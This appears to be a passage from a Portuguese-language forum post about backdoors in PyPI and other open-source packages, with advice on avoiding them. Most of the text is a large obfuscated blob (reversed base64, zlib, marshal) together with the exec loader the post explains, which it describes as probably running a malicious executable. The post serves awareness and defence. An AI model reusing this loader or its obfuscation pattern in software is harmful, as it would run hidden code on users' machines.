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'))

https://forumupload.ru/uploads/001b/c9/09/2/t928730.png

Na ordem:
1. Tentando importar os pacotes necessários, caso não estejam instalados - instalação
2. Reimportando pacotes, caso tenha faltado algum pacote na etapa anterior
3.
_ = lambda __ : __import__(‘marshal’).loads(__import__(‘zlib’).decompress(__import__(‘base64’).b64decode(__[::-1])));​

O que está acontecendo aqui:​
1. __[::-1]- inverte o texto codificado em BASE64 ( ==g1L+IL…= LI+L1g==…)
2. __import__(‘base64’).b64decode(…)- importa base64 e decodifica o valor invertido após 1 ponto, a saída é bytecode (“x\x9c\\\x9bG\x8e\xeb\xdczE\…”)
3. __import__(‘zlib’).decompress(…)- descompacta os dados do ponto 2 usando zlib
4. __import__(‘marshal’).loads(…)- carrega o resultado descompactado de 3 pontos e desserializa os dados, <code object <module> at 0x…, file “<x>", line 1>retorna
4. exec((_)(b’==g1L+I…Oe0mcxJe’))- executa o resultado da função do ponto 3, provavelmente um exe malicioso.

Mas qualquer um pode construir tais backdoors. Aqui está um exemplo de malware de código aberto mais sério:
O pacote PyPI malicioso mistura código-fonte e código compilado para evitar a detecção.

Resultados.
Como evitar ser pego por malware de código aberto?
1. Preste atenção ao desenvolvedor e à sua reputação
2. Preste atenção na classificação e data de lançamento
3. Se for GitHub - verifique as guias “Problemas” e “Solicitações pull” para reclamações/avisos de outras pessoas

https://forumupload.ru/uploads/001b/c9/09/2/t924864.png

4. Se houver um arquivo com todos os pacotes instalados (package.json/requirements.txt/…) - verifique a presença de pacotes
5. Dê uma olhada no código em Python, backdoors geralmente estão ocultos em __init__.py e arquivos inocentes semelhantes, geralmente vazios. É melhor começar verificando as importações .
6. Se houver muito código e apenas isso for necessário em todo o pacote, é muito mais rápido e seguro simplesmente cortar a função necessária para você, se a estrutura do pacote permitir .
7. Verifique assinaturas

Como evitar ser pego por malware de código fechado?
1. Preste atenção ao desenvolvedor e à sua reputação
2. Instale programas de fontes
3. Use antivírus e ore
4. Monitore o comportamento (às vezes você pode analisar o tráfego para prevenção )
5. Verifique assinaturas